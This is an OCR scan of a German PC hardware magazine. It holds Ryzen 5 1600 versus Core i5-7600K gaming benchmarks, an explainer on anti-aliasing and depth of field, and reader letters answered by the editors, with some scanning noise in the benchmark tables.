ХЕХ RX 480 СТА Black Ed./8G Xs 56,8 (-50%) 
Zotac GTX 1060 AMP/6G. MEM 56,7 (-50%) 


Benchmark , Amiens", 1.280 х 720, Preset Ultra", Min-Res 


Zotac GTX 1080 Ti AMP! Extreme/11G u ¿65681 126,5 (Basis) 
Zotac GTX 1060 AMP/6G. ua ЕЕН 124,4 (-2%) 
ХЕХ RX 480 СТА Black Ed./BG. 93 ШЕ 111,5 (-11%) 
Benchmark , Amiens", 1.920 x 1.080, Preset , Ultra", Full-Res 


Zotac GTX 1080 Ti AMP! Extreme/11G ü 124,9 (Basis) 
Zotac GTX 1060 AMP/6G re! 8 80,6 (-35%) 
ХЕХ RX 480 GTR Black Ed./8G [mt 80,5 (-36%) 
Benchmark , Amiens", 2.560 x 1.440, Preset , Ultra", Full-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G [X 1 14,3 (Basis) 
ХЕХ RX 480 СТА Black Ed./8G XXX! 59 (-48%) 
Zotac GTX 1060 AMP/6G. Esa 57,1 (-50%) 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual 
Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM 
(Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 


Mimil @ Fps 


> Besser 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual 
Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM 
(Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 


Mimil 2 Fps 


» Besser 
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Overwatch 


it Overwatch landete Blizzard 
M... nur einen Mehrspieler- 
Hit, sondern konnte außerdem 
technisch überraschen: Frühere 
Grafikmotoren des Entwicklers 
nutzten Mehrkernsysteme nur sehr 
begrenzt aus. Ein prominetes Bei- 
spiel dafür findet sich in Form des 
nur über zwei Prozessorkerne und 
-Threads skalierenden Starcraft 2 
noch immer in unseren regulären 
Benchmarks. Nachdem Blizzard 
lange auf Dualcores und Direct-X- 
9-Technik setzte, war Overwatch 
zum Release eine kleine Offenba- 
rung: Optisch kein Wunderwerk, 
überzeugt der charmante Comic- 
Shooter mit MOBA-Einschlag mit 
einer sehr guten Performance und 
schnellem, extrem flüssigem Game- 


play. 


Ein Grund dafür ist zweifellos in 
der vorbildlichen Mehrkernausnut- 
zung moderner CPUs zu suchen: 
Blizzard hat offenkundig viel Op- 
timierungsaufwand betrieben, 
um die vorhandenen Kerne sowie 
Threads bestmöglich zu nutzen. 
Und wahrscheinlich ist ein Grund 
dafür in dem 60-Fps-Target der 
Konsolen-Fassungen und deren 
eher schwächlichen Jaguar-CPUs 
zu finden. Ähnlich wie bei Battle- 
field 1 ist eine solch hohe Leistung 
ohne saubere Mehrkernausnut- 
zung Kaum zu erzielen. 


Erfreulicherweise nutzt auch die 
PC-Version vorhandene Threads 
sinnvoll und setzt zusätzliche Re- 
chenwerke in ein flüssigeres Spiel- 


gefühl um. In unserem Test kann 
sich der Intel Core i5 zwar vor dem 
Ryzen 5 1600 platzieren, allerdings 
liegt der Vorsprung mit der GTX 
1080 Ti im Prozessorlimit bei 720p 
und 50 Prozent Auflösungsskalie- 
rung bei lediglich 6 Prozent. Es 
erscheint gewiss, dass sich AMDs 
Einstiegs-Sechskerner bei gleichen 
Taktraten vor Intels i5-Topmodell 
platzieren würde. Sensible Spieler 
kónnten eventuell auch die schon 
bei Standard-Turbo-Takt stabileren 
Frameraten und weichere Bildaus- 
gabe des Ryzen Hexacores bemer- 
ken und wertschátzen lernen. Ins- 
besondere bei hektischen Szenen 
und chaotischer Action neigt Intels 
Quadcore zu kräftig fluktuieren- 
den Bildraten - mit AMDs Sechs- 
kerner fallen die Schwankungen 
im CPU-Limit deutlich geringer aus. 


Dieser Umstand lässt sich indes 
nicht verlässlich in Benchmarks 
reproduzieren, einzig die minimal 
besseren Frametimes und die im 
Vergleich teils weniger stark vom 
Durchschnitt divergierenden Mi- 
nimum-Fps geben einen kleinen 
Rückschluss. Prinzipiell ist dieser 
Ryzen-Vorteil beim Spielen spür- 
bar, jedoch fallen die Unterschiede 
zwischen den beiden Testsystemen 
und auch zwischen GTX 1060 und 
RX 480 sehr minimal aus. Dennoch: 
Auch Overwatch zeigt auf, dass 
AMDs günstiger Ryzen-Sechsker- 
ner eine durchaus überzeugende 
Leistung gegenüber Intels ähnlich 
bepreisten Quadcore-Prozessoren 
zu liefern imstande ist. 


Frametimes Ryzen 5 1600 vs Core i5-7600K 


„Epic"-Preset, SMAA hoch – PCGH-Benchmark , Dorado" 
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System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Rank); Ryzen 5 
1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Rank); Zotac GTX 1080 Ti AMP! 
Extreme!/11G (~ 1.974 MHz); Geforce 382.33 WHQL, Windows 10 x64 


Performance mit Ryzen 5 1600 


Performance mit Intel i5-7600K 


Benchmark ,, Dorado", 1.280 х 720, Preset , Epic", Min-Res 


Zotac GTX 1080 Ti АМР! Extreme/11G si 227,3 (Basis) 
Zotac GTX 1060 AMP/6G E093 223,4 (-2%) 
ХЕХ RX 480 СТА Black Ed./8G |i SK 210,9 (-7%) 
Benchmark ,, Dorado", 1.920 х 1.080, Preset , Epic", Full-Res 


Zotac GTX 1080 Ti АМР! Extreme/11G ü 224,1 (Basis) 
Zotac GTX 1060 AMP/6G [og 112,7 (-50%) 
ХЕХ RX 480 GTR Black Ed./8G. Egg 106,8 (-52%) 
Benchmark ,, Dorado", 2.560 x 1.440, Preset , Epic", Full-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G 696618 180 (Basis) 
Zotac GTX 1060 AMP/6G [es 73,7 (-59%) 
ХЕХ RX 480 GTR Black Ed./8G MEMES 71,9 (-60%) 


Benchmark „Dorado”, 1.280 х 720, Preset , Epic", Min-Res 


Zotac GTX 1080 Ti AMP! Extreme/11G. u! 241,5 (Basis) 
Zotac GTX 1060 AMP/6G pagi ew 238,7 (-1%) 
XFX RX 480 СТА Black Ed./8G ЖЕЛ ШЕШ 234,5 (-3%) 
Benchmark , Dorado", 1.920 x 1.080, Preset , Epic", Full-Res 


Zotac GTX 1080 Ti AMP! Extreme/11G. FS 8 241,3 (Basis) 
Zotac GTX 1060 AMP/6G SI 113,2 (-53%) 
ХЕХ RX 480 GTR Black Ed./8G. Egan] 107,7 (-55%) 
Benchmark , Dorado", 2.560 x 1.440, Preset , Epic", Full-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G u es! rx 178,9 (Basis) 
Zotac GTX 1060 AMP/6G. ДИ 74,5 (-58%) 
ХЕХ RX 480 GTR Black Ed./8G ШЕСІ 72,8 (-59%) 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual MS Е System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Meer 

Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM ps Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM ps 

(Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 > Besser (Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 > Besser 
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Rainbow Six: Siege 


Frametimes Ryzen 5 1600 vs Core i5-7600K 


„Ultra”-Preset, TAA, kein MSAA - Interner Benchmark 
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System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Rank); Ryzen 5 
1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Rank); Zotac GTX 1080 Ti AMP! 
Extreme!/11G (-1.974 MHz); Geforce 382.33 WHQL, Windows 10 x64 


rei beliebte Mehrspieler-Titel 
2 Studios, drei уег- 
schiedene Engines. In dem takti- 
schen Shooter Rainbow Six: Siege 
gibt sich die bekannte Anvil-Engine 
die Ehre. Der zum Einsatz kommen- 
de Entwicklungs-Zweig der Engi- 
ne unterscheidet sich technisch 
ein wenig von jenem, der in der 
Assassin's-Creed-Reihe Verwen- 
dung findet, teilt jedoch auch vie- 
le Gemeinsamkeiten. Eine dieser 
Eigenschaften ist die vorbildliche 
Mehrkernausnutzung, die auch in 
anderen Ubisoft-Titeln auf Basis 
der Anvil-Engine überzeugt. 


Wenn Sie unsere Messungen begut- 
achten, werden Sie feststellen, dass 
wir entgegen unserer Gewohnhei- 
ten den integrierten Benchmark als 
Basis für unsere Ergebnisse heran- 
gezogen haben. Der Grund dafür 
sind die verhältnismäßig kleinen 
Mehrspielerkarten, die Spielern 
jedoch eine Vielzahl an Herange- 
hensweisen, Verteidigungstaktiken 
und Zugriffsmöglichkeiten bieten: 
Wände, Decken und Böden können 
zerstört werden, Mehrspielerge- 
fechte laufen daher häufig sehr un- 
terschiedlich ab. 


Zudem liegen die Bildraten in den 
kleinen, teils engen Gebieten sehr 
hoch, können dort aber auch stark 
schwanken, sobald sich mehrere 
Spieler zusammenfinden oder die 
per Havok-Middleware umgesetz- 
te Zerstörungsphysik zum Einsatz 
kommt. Trotz unzähliger Versuche 
gelang es uns nicht, verlässlich re- 


produzierbare — Mehrspieler-Mes- 
sungen anzufertigen. Der Bench- 
mark indes führt diese beiden 
genannten leistungsrelevanten Um- 
stände auf und gibt zudem recht re- 


alistische Werte aus. 


Ein weiteres Mal landet der auf die 
maximalen 4,0 GHz Allcore-Turbo 
fixierte Core i5 vor dem mit 3,4 
GHz taktenden Ryzen-Sechskerner. 
Der Performance-Unterschied 
liegt mit knapp unter 11 Prozent 
jedoch deutlich hinter dem 20-pro- 
zentigen Taktvorsprung des Intel- 
Vierkerners, sodass es realistisch 
erscheint, dass der Ryzen 5 1600 
zumindest gleichwertige Perfor- 
mance-Werte erreichen würde, 
würden die Taktraten angeglichen. 


Wie schon in Battlefield und Over- 
watch kann der Ryzen 5 1600 aber 
schon mit 3,4 GHz Vorteile bei 
der Bildausgabe gegenüber dem 
deutlich höher taktenden Intel i5- 
7600K verzeichnen. Die Frameti- 
mes schwanken generell weniger 
stark, nochmals auffälliger wird 
dies, wenn die aufwendige Zerstö- 
rungsphysik zum Einsatz kommt: 
Steckt der Intel-Quadcore im Test- 
system, treten bei Explosionen 
reproduzierbar kleine Ruckler auf. 
AMDs günstiger Sechskerner zeigt 
keinerlei solche Unstimmigkeiten. 
Generell ist die Performance aber 
mit beiden Systemen sehr gut. In- 
teressanterweise kann sich die RX 
480 recht deutlich vor der prinzi- 
piell ähnlich schnellen GTX 1060 
platzieren. (pr) 


Performance mit AMD Ryzen 5 1600 


Performance mit Intel i5-7600K 


Interner Benchmark, 1.280 x 720, Preset „Ultra”, Temp. Filtering 


Zotac GTX 1080 Ti AMP! Extreme/11G u 216,1 (Basis) 
Zotac GTX 1060 AMP/6G ЖЇЗ ew 196, 1 (-9%) 
ХЕХ АХ 480 СТА Black Ed./8G gi pow 189,7 (-12%) 
Interner Benchmark, 1.920 x 1.080, Preset , Ultra", Full-Res 


Zotac GTX 1080 Ti AMP! Extreme/11G E39 E 181,9 (Basis) 
ХЕХ RX 480 СТА Black Ed./8G [Xi 99,6 (-45%) 
Zotac GTX 1060 AMP/6G. Em 85,4 (-53%) 
Interner Benchmark, 2.560 x 1.440, Preset „Ultra”, Full-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G ШОС 122,8 (Basis) 
ХЕХ RX 480 СТА Black Ed./8G ШУДИ 62,1 (-49%) 
Zotac GTX 1060 AMP/6G ME 53,2 (-57%) 


Interner Benchmark, 1.280 x 720, Preset „Ultra”, Temp. Filtering 


Zotac GTX 1080 Ti AMP! Extreme/11G. ba 239,2 (Basis) 
ХЕХ АХ 480 GTR Black Ed./8G Ogg e 210,8 (-12%) 
Zotac GTX 1060 AMP/6G. san ew 206,2 (-14%) 
Interner Benchmark, 1.920 x 1.080, Preset Ultra", Full-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G a 190 (Basis) 
ХЕХ RX 480 GTR Black Ed./8G gg 100,4 (-47%) 
Zotac GTX 1060 AMP/eG. Emu 86,7 (-54%) 
Interner Benchmark, 2.560 x 1.440, Preset Ultra", Full-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G Xm 125 (Basis) 
ХЕХ АХ 480 GTR Black Ed./8G БЗ 61,9 (-50%) 
Zotac GTX 1060 AMP/6G X] 52,8 (-58%) 


System: Core i5-7600K 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual 
Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 х 8 GiByte DDR4-2400 RAM 
(Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 


Mimil Ø Fps 


> Besser 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual 
Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM 
(Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 


Mimil 2 Fps 


» Besser 
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Glatt entsch 


arft! 


Dieses Mal geht es um Kantenglàttung und Tiefenschàrfe. Diese Techniken haben auf den ersten Blick 


wenig gemein, doch fuBen beide auf Sehgewohnheiten des menschlichen Auges. 


as menschliche Auge und des- 
D Sehgewohnheiten spielen 
bei Computergrafiken eine große 
Rolle. Und die Eigenheiten des 
Sehvermógens verbinden auch die 
beiden Themen in diesem Teil un- 
serer Artikelreihe, obwohl diese auf 
den ersten Blick vollkommen unter- 
schiedliche Funktionen überneh- 
men. Die Kantenglättung bekämpft 
harte Polygonstrukturen und in Be- 
wegung krabbelnde Pixeltreppchen 
- mit Unschärfe. Denn wirklich 
scharfe Umrisse sind in der Natur 
nur extrem selten zu beobachten. 
Außerdem ist das Auge auf Bewe- 
gung, Schärfe sowie starke Kontras- 
te konditioniert. Ist eine Kantenglät- 
tung nicht vorhanden oder arbeitet 
sie unzureichend, stechen grob 
wabernde Pixeltreppen mit starken 
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Farbunterschieden daher massiv 
ins Auge. In jedem Fall wird aber 
der Gesamteindruck negativ beein- 
flusst und das auch in sehr hohen 
Auflösungen. Das können Sie auf 
der folgenden Seite selbst begutach- 
ten, sämtliche Bilder wurden in Ul- 
tra HD geschossen. Dennoch zeigt 
selbst das statische und deutlich ver- 
kleinerte Bild im Druck eine hohe 
Unruhe: Die hohen Kontraste bei- 
spielsweise der Treppenstufen, die 
unsauberen Kanten der Holzvertä- 
felung oder des Dachs irritieren. In 
Bewegung fallen diese Störfaktoren 
nochmals deutlich extremer aus. 


(Un-)geliebte Unschärfe 

Nehmen Sie dagegen unseren Auf- 
macher ins Visier, so dürfte es Ih- 
nen schwerfallen, Pixeltreppen zu 


erkennen. Auch dieses Bild wurde 
in Ultra-HD-Auflösung geschossen, 
jedoch sind außerdem SMAA so- 
wie SSAA aktiv - intern wurde also 
eine höhere Auflösung berechnet, 
der Frame dann anschließend auf 
die native UHD-Auflösung herun- 
tergerechnet. Diese Kombination 
erlaubt auch in dem prinzipiell sehr 
flimmeranfilligen Rise of the Tomb 
Raider glatte Polygonkanten, ist 
jedoch in der Praxis aufgrund des 
extrem hohen Hardware-Hungers 
kaum genießbar. Eine gute tempo- 
rale Kantenglättung statt der inef- 
fizienten Kombination von SMAA 
und SSAA hätte ein ähnlich gutes 
Bild ergeben können und würde 
außerdem wesentlich weniger Leis- 
tung kosten. In diesem Shot haben 
wir außerdem eine händisch ange- 


passte Tiefenschärfe verwendet, um 
Lara in den Vordergrund zu setzen 
und von dem chaotischen Hinter- 
grund zu lösen. Die Tiefenschärfe 
oder auch Depth-of-Field wird von 
Spielern etwas kontrovers gesehen, 
was jedoch auch an der Implemen- 
tierung liegen kann. Oft wird dabei 
dieses Argument vorgebracht: „Ich 
nutze meine eigene Tiefenschärfe, 
die ich mit meinen eigenen Augen 
und Blicken steuere - das macht das 
Bild ganz natürlich unscharf“. Nun 
ja, der letzte Teil stimmt. Doch wird 
dabei das periphere Sehen mit der 
Akkomodation durcheinanderge- 
bracht. Der erste Begriff bedeutet, 
dass beim Sehen nur ein zentraler 
Fokuspunkt auf einer flachen Ebe- 
ne scharf erscheint, Umliegendes 
wird mit zunehmendem Radius um 
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Verschiedene Kantenglàttungsverfahren im Vergleich 


Rainbow Six Siege bietet gutes Anschauungsmaterial, wenn es um Kantenglàttungen bei hohen Kontrasten kaum zu übersehen (1), (4). Das Zuschalten von FXAA hilft nur 


geht. Zum einen unterstützt der Titel mehrere technische Herangehensweisen, darun- wenig und kommt mit zusätzlicher Unschärfe daher — insbesondere filigrane Struk- 
ter neben FXAA auch Nvidias TXAA, MSAA, sowie eine weitere temporale Kanten- turen wie die Vegetation verlieren Details, behalten in Bewegung aber gleichzeitig 
glättung. Zum anderen ist die Optik des Taktik-Shooters eher zweckdienlich gehalten: eine hohe Unruhe bei (2). Das langsam aussterbende Multisampling demonstriert mit 
Weder blenden überbordernde Post-Processing-Effekte, noch lenken spektakuläre schlechter Effektivität sowie hohen Performance-Kosten und damit einer eher misera- 
Objekte und Details das Auge ab. Dieses Bild wurde in Ultra HD geschossen. Trotz der blen Effizienz, weshalb MSAA in aktuellen Titeln kaum noch zum Einsatz kommt (3). 
hohen Auflösung sind Pixeltreppen klar zu identifizieren. Auf einem großen Display Das auf MSAA basierende TXAA ist ein wenig schárfer als das TAA, kostet allerdings 
und in Bewegung ist das Geflimmer selbst in Ultra HD sehr lástig und insbesondere viel Leistung und bietet somit recht wenig Anreiz, es dem TAA vorzuziehen. 


Kein Antialiasing 


š : 


FXAA (hoch) 
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diesen Punkt unschärfer. Die Akko- 
modation indes ist die Fähigkeit des 
menschlichen Auges, die Brechkraft 
der Linse dynamisch anzupassen 
und damit das Tiefensehen zu er- 
möglichen. Letzteres funktioniert 
bei Spielen, aber auch Filmen oder 
Bildern nicht. Schauen Sie sich 
noch einmal den großen Shot auf 
der vorherigen Seite an: Rainbow 
Six Siege nutzt hier keine Tiefen- 
schärfe. Setzen Sie ihren Fokus zum 
Beispiel einmal auf die Kimme des 


Gewehrs. Wird das dahinterliegen- 
de Polizeiauto unscharf? Nein, wird 
es nicht. Aber das sollte es, denn 
normalerweise würde sich unser 
Auge auf diesen Punkt einstellen, 
Dahinterliegendes würden 
wahrnehmen, als wären wir kurz- 
sichtig. Auch Elemente vor dem 
Fokuspunkt wären unscharf, dort 
wären wir weitsichtig. Bei diesem 
Umstand lässt sich unser Sehen 
also nicht austricksen: Gleich ob 
Sie das Bild nun im Druck, auf Ih- 


wir 


rem Monitor sehen oder gar durch 
eine VR-Brille betrachten würden: 
Wir schauen immer auf eine zwei- 
dimensionale Fläche (bei VR sind es 
deren zwei) und das Auge stellt sich 
auf diese Fläche scharf. Nehmen wir 
aber etwa unsere Hand und platzie- 
ren sie zwischen Auge und Display 
und fokussieren den Blick auf Hand 
oder Monitor, wird das jeweils ande- 
re Objekt unscharf. Das wäre reale 
Tiefenschärfe und sie funktioniert 
nur im dreidimensionalen Raum. 


Viele dialoglastige Titel oder jene, die einen kinematischen Look anstreben, nutzen eine Tiefenschärfe. Anfangs wurde schlicht der 
Hintergrund mittels eines niedrig aufgelösten Gauß-Filter weichgezeichnet, ein Beispiel wäre Dragon Age Origins. Mass Effect 3 ist 
technisch schon etwas weiter und nutzt den Effekt geschickt, um das Auge des Spielers in Zwischensequenzen zu dirigieren. 


Spielers von den Levelgrenzen abzulenken, die häufig nur aus einer gemalten Pixeltapete bestehen — wie hier in Bioshock Infinite. 
Dieser Kniff lässt sich aber auch noch in vielen aktuellen Titeln finden, beispielsweise in Titanfall 2 oder Call of Duty. 
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Dynamische Unschärfe 

Die Depth-of-Field in Spielen greift 
diese Problematik auf: Sie simuliert 
den Umstand, dass wir nur eine 
bestimmte „Ebene“ in einem drei- 
dimensionalen Raum scharf wahr- 
nehmen können. Doch es gibt dabei 
ein großes Problem: Das Spiel weiß 
nicht, wohin unsere Augen blicken, 
und auch nicht, welchen Punkt im 
dreidimensionalen, virtuellen Raum 
wir betrachten und damit scharf 
sehen möchten. Ein Problem bei 
einer adaptiven Tiefenschärfe, wel- 
che in einigen Spielen und vielen 
ENB-Konfigurationen zum Einsatz 
kommt: Nur der Fokuspunkt (meist 
um das Fadenkreuz) ist scharf, 
die Depth-of-Field indes nur dann 
überzeugend, wenn der Spieler auf 
dem Display genau diesen Punkt 
fokussiert. Entfernt sich der Blick 
von ihm, funktioniert die Illusion 
nicht mehr, das Ergebnis kann be- 
fremdlich wirken oder gar leichtes 
Unwohlsein auslösen. Eine adaptive 
Tiefenschärfe wird daher nur rela- 
tiv selten eingesetzt oder wird, wie 
beispielsweise in Skyrim SE, in der 
Funktion stark eingeschränkt. 


Tricks aus Hollywood 

Viel häufiger orientieren sich Spiele- 
Entwickler jedoch an Film und Foto. 
Dort wird eine andere Besonderheit 
des menschlichen Sehens ausge- 
nutzt: Beim Betrachten eines Bildes 
neigt das Auge dazu, Unscharfes zu 
ignorieren und scharfe Inhalte zu 
fokussieren. Testen Sie das ruhig 
einmal selbst auf der nächsten Seite. 
Ihr Blick und Ihre Aufmerksamkeit 
wandern automatisch dorthin, wo 
wir (erstes Bild) oder die Entwick- 
ler ihn haben wollen. Dieser Trick, 
den Blick zu steuern, wird häufig in 
Zwischensequenzen oder bei Ge- 
sprächen mit NPCs eingesetzt, um 
die Aufmerksamkeit des Spielers zu 
lenken. Das funktioniert auch an- 
dersherum: Wird etwas unscharf ge- 
zeichnet, wird das Auge des Betrach- 
ters von diesem Element abgelenkt 
und ist wenig geneigt, dort viel Auf- 
merksamkeit zu investieren. Damit 
eignet sich eine solche Unschärfe, 
kritische, detailarme Elemente oder 
Tricksereien zu verdecken. Häufig 
ist dies in ,schlauchigen* Shootern 
oder Spielen anzufinden, die auf 
einzelne, beschränkte Level setzen, 
um Begrenzungen oder den niedri- 
gen Detailgrad zu kaschieren. Open- 
World-Titel begrenzen die Sichtwei- 
te eher selten auf diese Art. (pr) 
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Beispiele für den Einsatz einer Tiefenschärfe 


Im ersten Bild demonstrieren wir die Funktionsweise einer händisch abgestimmten 
Depth-of-Field, wie es beispielsweise in einer Zwischensequenz Verwendung finden 
kónnte: Der Blick des Betrachters wird von der unscharf dargestellten Umgebung auf 
die in den Fordergrund gestellten Spielfigur gelenkt. Eventuell ist daran auch noch ein 
anderer Faktor beteiligt, jedoch ist das nicht der Punkt. Der nackte Hintern ist allerdings 
thematisch interessant, da wir hier eine Art Grafikmodifikation reproduzieren, die bei 
der Verbreitung der Bokeh-Depth-of-Field eine gewisse Rolle gespielt haben dürfte: Es 
gibt seit Jahren unzählige ENB-Modifikationen für Skyrim mit diesem spezifischen, oder 


einem sehr ähnlichen Tiefenschärfe-Effekt. Millionen Bilder fluten das Netz. Es ist wohl 
kaum strittig, dass sich Entwickler von solcherlei Modding-Trends beeinflussen lassen 
und Spiele entsprechend aufrüsten. So wurde die Skyrim Special Edition mit einer adap- 
tiven Depth-of-Field ausgestattet — ein offenkundiger Wink Richtung Modding-Commu- 
nity. Eine adaptive Tiefenschárfe hat gegenüber einem hándisch platzierten Fokus aber 
einige Nachteile: Da der Spieler den Fokus selbst mit seinem virtuellen Blick setzt, also 
beispielsweise mit dem Fadenkreuz, muss er auch aktiv selbst auf den entsprechenden 
Punkt auf dem Monitor schauen, ansonsten wirkt die Tiefenschárfe eher befremdlich. 


Fallout 4 mit der insbesondere aus Skyrim und ENB bekannten Matso-Depth-of-Field. Es ist sehr wahrscheinlich, dass grafische Mods dieser Art Entwickler inspirieren. 
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Höhere VRM-Frequenz für RAM-0C? 
Bei meinem Mainboard Asus Crosshair V 
Formula gibt es die Option ,DRAM Power Swit- 
ching Frequency“. Diese steht auf 300 KHz und 
kann in 50er-Schritten auf 500 KHz angehoben 
werden. Was bewirkt das Ganze? 
„Hruska777“, per PCGHX-Forum 


Stephan Wilke: Mit der Option verändern Sie 
die Frequenz, mit der die Spannungsregler für 
den Arbeitsspeicher arbeiten. Je höher der Wert, 
desto öfter wechselt der PWM-Controller zwi- 
schen Lade- und Entladevorgang des Kondensa- 
tors. In der Theorie führen kürzere Phasen (also 
höhere VRM-Frequenzen) zu geringeren Span- 
nungsschwankungen und mehr Stabilität. Al- 
lerdings reduzieren höhere VRM-Frequenzen die 
Energieeffizienz, sodass die Leistungsaufnahme 
und Hitzeentwicklung steigt (was wiederum die 
Leistung der Spannungsversorgung reduzieren 
kann). Das ist bei RAM allerdings nicht beson- 
ders relevant, weil die Speicherchips nur wenige 
Watt ziehen und anders als Prozessoren und 
Grafikkarten keine hohen Ansprüche an die 
Spannungsregelung haben. 


Soll heifsen: Wenn Sie Ihre RAM-Module mit 
Standardtakt nutzen oder für den täglichen 
Betrieb übertakten, ist die Voreinstellung be- 
ziehungsweise ein niedriger Wert völlig aus- 
reichend. Wenn Sie aus den RAM-Modulen das 
letzte Megahertz herausholen möchten und un- 
gewöhnlich hohe Spannungen fahren (etwa für 
Extrem-Overclocking mit flüssigem Stickstoff), 
dann kann sich das Anheben der VRM-Frequenz 
lohnen. 
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Community 


Www.pcgh.de/print 


AuBer über unsere Webseite www.pcgh.de und unser Forum 


www.pcghx.de können Sie selbstverstàndlich auch per E-Mail an 


leserpost@pcgameshardware.de mit uns Kontakt aufnehmen. 


SATA-SSDs: Bremse für NVME-SSD? 

Ich plane, mir nàchste Woche einen Ryzen 5 
1600 zu holen. Die letzten 200-500 MHz mehr 
brauche ich nicht unbedingt, deswegen habe 
ich mich trotz Ihres negativen Urteils zur Tem- 
peraturentwicklung entschieden, ein Gigabyte 
AB350-Gaming 3 zu kaufen. Ich habe im Moment 
fünf SATA-Laufwerke, eines werde ich nächstes 
Jahr gegen eine NVME-SSD tauschen. Laut den 
Spezifikationen von AMD für den B350-Chip 
könnte man beim Einsatz einer NVME-SSD dann 
noch vier SATA Laufwerke benutzen. Gelingt 
das bei voller oder reduzierter Datenrate für die 
NVME-SSD? Ich habe einen Artikel gefunden, in 
dem steht, dass die volle NVME-Datenrate nur 
mit zwei SSDs erreichbar wäre, stimmt das? Habt 
ihr schon Erfahrungswerte? 

Andre B., per E-Mail 


Torsten Vogel: Vier der SATA-Ports werden beim 
AB350-Gaming 3 vom I/O-Hub versorgt und ar- 
beiten somit unabhängig vom M.2-Slot. Die bei- 
den oberen teilen sich aber ihre Ressourcen mit 
dem M.2, das heijst zusätzlich zu einer M.2-SSD 
können nur vier SATA-Laufwerke verbaut wer- 
den. Eine Drosselung der M.2-Geschwindigkeit 
zugunsten weiterer Laufwerke ist nicht vorge- 
sehen - entweder volle Geschwindigkeit (und 
wenig SATA) oder gar kein M.2. Wieso man eine 
zweite SSD zur Nutzung der vollen Geschwindig- 
keiten benötigen sollte, ist mir nicht bekannt. 


Problematisch sind beim AB350-Gaming 3 üb- 
rigens die Spannungswandler unter dem Kühl- 
körper. Die 3er Gruppe ist verglichen mit vielen 
anderen B350-Designs überdimensioniert und 
wird zumindest bei Einsatz einer CPU kaum be- 
lastet. Hier habe ich 53 °C gemessen, während 
die für die CPU-Kerne verantwortlichen Span- 
nungswandler trotz Kühlkörper bereits 100 °C 
überschritten. 


Eiswolf für Strix GTX 1080 Ti OC? 

Passt der Alphacool Eiswolf GPX Pro auf die 
Asus ROG Strix Geforce GTX 1080 Ti OC? Falls 
nicht, welche Alternative schlagt ihr vor? 

Christoph G., per E-Mail 


Torsten Vogel: Es gibt zwar einen Eiswolf 
GPX Pro 1080 Ti MO2 für Titan X(p) und Ge- 


force GTX 1080 Ti im Referenzdesign, aber die 
ROG Strix 1080 Ti OC nutzt meines Wissens 
nach ein eigenes Platinenlayout und ist so- 
mit nicht kompatibel. Ob ein kompatibles Eis- 
wolf-Modell in Arbeit ist, kann nur Alphacool 
selbst sagen. 


Eine direkte Alternative gibt es allerdings nicht. 
Die Lücke zwischen GPU-only-Kompaktwasser- 
kühlungen mit getrennter Grafikspeicher/Span- 
nungswandlerkühlung (zum Beispiel Arctic 
EVGA oder NZXT) und deutlich teureren modu- 
laren Wasserkreisläufen mit Grafikkarten-Kom- 
plettkühler füllt bislang nur der Eiswolf. 


Testtabelle in PCGH 06/2017 vergessen? 
Habt ihr beim aktuellen Test zur Radeon RX 
580/570 die üblichen Tabellen vergessen? An 
der gewohnten Stelle springt mir nur eine An- 
zeige ins Gesicht. Bei der direkt anschließenden 

GTX-1080-Ti-Testserie ist alles enthalten. 
Alexander M, per E-Mail 


Thilo Bayer: Da hat der Kollege einfach zu we- 
nig Zeit dafür gehabt und versucht, das Beste da- 
raus zu machen. Das war wirklich ein Last-Mi- 
nute-Artikel, in den 12 Stunden Zeit geflossen 
sind, an einem Arbeitstag. Da muss man einfach 
Kompromisse eingehen. Ich hoffe, Sie haben Ver- 
stándnis für diese Ausnahme. 


PC Games Hardware Online; 
wichtige Dienste und Partner 


Alternate: Soll es eine neue Grafikkarte oder ein 
PCGH-PC sein? Besuchen Sie den größten IT-Händler in | 
Deutschland! www.pcgh.de/alternate 


Der PCGH-PC: Wenn Sie auf der Suche nach einem gut 
abgestimmten Rechner sind, kommen Sie um die PCGH- 
PCs kaum herum. www.pcgh-pc.de 


Die Leserbriefe geben nicht die Meinung der Redaktion wieder. Die Redaktion behält sich 


